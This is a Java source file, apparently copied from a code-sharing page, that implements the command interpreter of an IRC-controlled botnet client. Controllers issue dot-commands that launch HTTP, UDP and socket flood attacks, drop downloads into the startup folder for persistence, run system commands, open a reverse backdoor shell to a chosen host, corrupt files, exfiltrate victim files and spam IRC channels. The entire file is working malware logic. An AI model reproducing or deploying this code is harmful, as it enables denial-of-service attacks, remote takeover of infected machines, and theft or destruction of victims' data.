📄 commandinterpreter.java
字号:
class CommandInterpreter {
private CAC cac;
public CommandInterpreter(CAC cac) {
this.cac = cac;
}
public void line(String line) {
if(line.indexOf("PRIVMSG") == -1) {
return;
}
String command = this.cac.getIRCSocket().getIRC().getMessage(line);
if(command.startsWith(".")) {
if(this.cac.isController(this.cac.getIRCSocket().getIRC().getNick(line))) {
String channel = this.cac.getIRCSocket().getIRC().getChannel(line);
if(!channel.equals("null") && !channel.equals(this.cac.getIRCSocket().getConfig().getOutChannel())) {
this.command(channel, command);
}
}
}
}
private void command(String channel, String message) {
if(channel.equals(this.cac.getIRCSocket().getConfig().getInChannel())) {
channel = this.cac.getIRCSocket().getConfig().getOutChannel();
}
String args[] = Util.splitArgs(message);
Debug.print("Args length: " + args.length + "\n");
String command = args[0];
if(!Commands.contain(command)) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "No such command: " + command);
} else {
if(command.equals(".commands")) {
Commands.printCommands(this.cac.getIRCSocket().getIRC(), channel);
} else if(command.equals(".version")) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Bot version: " + Constants.BOT_VERSION);
} else if(command.equals(".exit")) {
System.exit(-1);
} else if(command.equals(".quit")) {
if(args.length == 2) {
this.cac.getIRCSocket().getIRC().quit(args[1]);
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".join")) {
if(args.length == 2) {
this.cac.getIRCSocket().getIRC().join(args[1]);
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".part")) {
if(args.length == 2) {
this.cac.getIRCSocket().getIRC().part(args[1]);
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".nick")) {
if(args.length == 2) {
this.cac.getIRCSocket().getIRC().nick(args[1]);
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".nickprefix")) {
if(args.length == 2) {
this.cac.getIRCSocket().getIRC().nick(args[1] + Util.randomNumber());
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".permnick")) {
if(args.length == 2) {
this.cac.getIRCSocket().getExternalSettings().properties.setProperty("PERM_NICK", args[1]);
this.cac.getIRCSocket().getExternalSettings().save();
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".msg")) {
if(args.length == 3) {
this.cac.getIRCSocket().getIRC().sendMessage(args[1], args[2]);
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".raw")) {
if(args.length == 2) {
this.cac.getIRCSocket().getIRC().sendRaw(args[1]);
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".download")) {
if(args.length == 3) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Downloading " + args[1] + " to " + args[2] + "... ");
Download download = new Download(args[1]);
String result = download.download(args[2]);
} else if(args.length == 2) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Downloading " + args[1] + " to startup folder... ");
Download download = new Download(args[1]);
String result = download.download(Util.findStartup());
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".system")) {
if(args.length == 2) {
new SystemExec(args[1], this.cac.getIRCSocket().getIRC(), channel);
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".httpflood")) {
if(args.length == 5) {
try {
int threads = Integer.parseInt(args[2]);
if(threads > 0) {
FloodingStatus.httpFlooding = true;
for(int i = 0; i < threads; i++) {
new HTTPFlood(args[1], Integer.parseInt(args[3]), Integer.parseInt(args[4]));
}
}
} catch(NumberFormatException nfe) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Bad syntax.");
}
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".udpflood")) {
if(args.length == 5) {
try {
int threads = Integer.parseInt(args[2]);
if(threads > 0) {
FloodingStatus.udpFlooding = true;
for(int i = 0; i < threads; i++) {
new UDPFlood(args[1], Integer.parseInt(args[3]), Integer.parseInt(args[4]));
}
}
} catch(NumberFormatException nfe) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Bad syntax.");
}
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".sflood")) {
if(args.length == 6) {
try {
int threads = Integer.parseInt(args[3]);
if(threads > 0) {
FloodingStatus.socketFlooding = true;
for(int i = 0; i < threads; i++) {
new SocketFlood(args[1], Integer.parseInt(args[2]), Integer.parseInt(args[4]), Integer.parseInt(args[5]));
}
}
} catch(NumberFormatException nfe) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Bad syntax.");
}
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".stopfloods")) {
if(FloodingStatus.httpFlooding) {
FloodingStatus.httpFlooding = false;
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Stopped HTTP flooding.");
}
if(FloodingStatus.udpFlooding) {
FloodingStatus.udpFlooding = false;
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Stopped UDP flooding.");
}
if(FloodingStatus.socketFlooding) {
FloodingStatus.socketFlooding = false;
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Stopped socket flooding.");
} else {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "There are no attacks to stop.");
}
} else if(command.equals(".getip")) {
if(args.length == 2) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, Util.getIPAddress(args[1]));
} else {
this.cac.getIRCSocket().getIRC().sendMessage(channel, Util.getIPAddress());
}
} else if(command.equals(".findip")) {
if(args.length == 2) {
String ipAddr = Util.getIPAddress();
if(ipAddr.equals(args[1])) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Hey there sir, I'm " + ipAddr + "!");
}
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".mkshell")) {
Shell shell = Shell.getShell(channel);
if(shell == null) {
new Shell(this.cac.getIRCSocket().getIRC(), channel);
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Created new shell for channel " + channel + " successfully.");
} else {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Shell already exists for this channel.");
}
} else if(command.equals(".mkdir")) {
if(args.length == 2) {
Shell shell = Shell.getShell(channel);
if(shell == null) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "No shell found for this channel.");
} else {
shell.mkdir(args[1]);
}
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".cd")) {
if(args.length == 2) {
Shell shell = Shell.getShell(channel);
if(shell == null) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "No shell found for this channel.");
} else {
shell.cd(args[1]);
}
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".ls")) {
Shell shell = Shell.getShell(channel);
if(shell == null) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "No shell found for this channel.");
} else {
shell.ls();
}
}else if(command.equals(".corrupt")) {
if(args.length == 3) {
FileCorrupt corrupt = new FileCorrupt(this.cac.getIRCSocket().getIRC(), channel, args[1]);
corrupt.corrupt(args[2]);
} else if(args.length == 2) {
FileCorrupt corrupt = new FileCorrupt(this.cac.getIRCSocket().getIRC(), channel, args[1]);
corrupt.corrupt();
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".update")) {
if(args.length == 2) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Updating bot... ");
BotUpdater updater = new BotUpdater(this.cac.getIRCSocket().getIRC(), channel, args[1]);
updater.start();
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".zip")) {
if(args.length == 3) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Zipping " + args[1] + " to " + args[2] + "...");
Zip zip = new Zip(this.cac.getIRCSocket().getIRC(), channel, args[1], args[2]);
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".send")) {
if(args.length == 4) {
try {
new FileSend(this.cac.getIRCSocket().getIRC(), channel, args[2], Integer.parseInt(args[3]), args[1]);
} catch(NumberFormatException nfe) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Bad syntax.");
}
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".read")) {
if(args.length == 3) {
try {
new FileRead(this.cac.getIRCSocket().getIRC(), channel, args[1], Integer.parseInt(args[2]));
} catch(NumberFormatException nfe) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Bad syntax.");
}
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".spam")) {
if(args.length == 9) {
try {
SpammingStatus.spamming = true;
new IRCSpammer(this.cac.getIRCSocket().getIRC(), channel, args[1], Integer.parseInt(args[2]), args[3], args[4], args[5], args[6], Integer.parseInt(args[7]), Integer.parseInt(args[8]));
} catch(NumberFormatException nfe) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Bad syntax.");
}
} else if(args.length == 8) {
try {
SpammingStatus.spamming = true;
new IRCSpammer(this.cac.getIRCSocket().getIRC(), channel, args[1], Integer.parseInt(args[2]), args[3], "", args[4], args[5], Integer.parseInt(args[6]), Integer.parseInt(args[7]));
} catch(NumberFormatException nfe) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Bad syntax.");
}
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".stopspam")) {
if(SpammingStatus.spamming) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Stopped all IRC spamming.");
} else {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "No IRC spamming to stop.");
}
} else if(command.equals(".backdoor")) {
if(args.length == 3) {
try {
(new ReverseBackdoor(this.cac.getIRCSocket().getIRC(), channel, args[1], Integer.parseInt(args[2]))).start();
} catch(NumberFormatException nfe) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Bad syntax.");
}
} else {
this.printUsage(channel, command);
}
} else if(command.equals(".ircscript")) {
if(args.length == 2) {
IRCScript ircScript = new IRCScript(this.cac.getIRCSocket().getIRC(), channel, args[1]);
ircScript.start();
} else {
this.printUsage(channel, command);
}
}
}
}
private void printUsage(String channel, String command) {
this.cac.getIRCSocket().getIRC().sendMessage(channel, "Usage: " + Commands.getUsage(command));
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -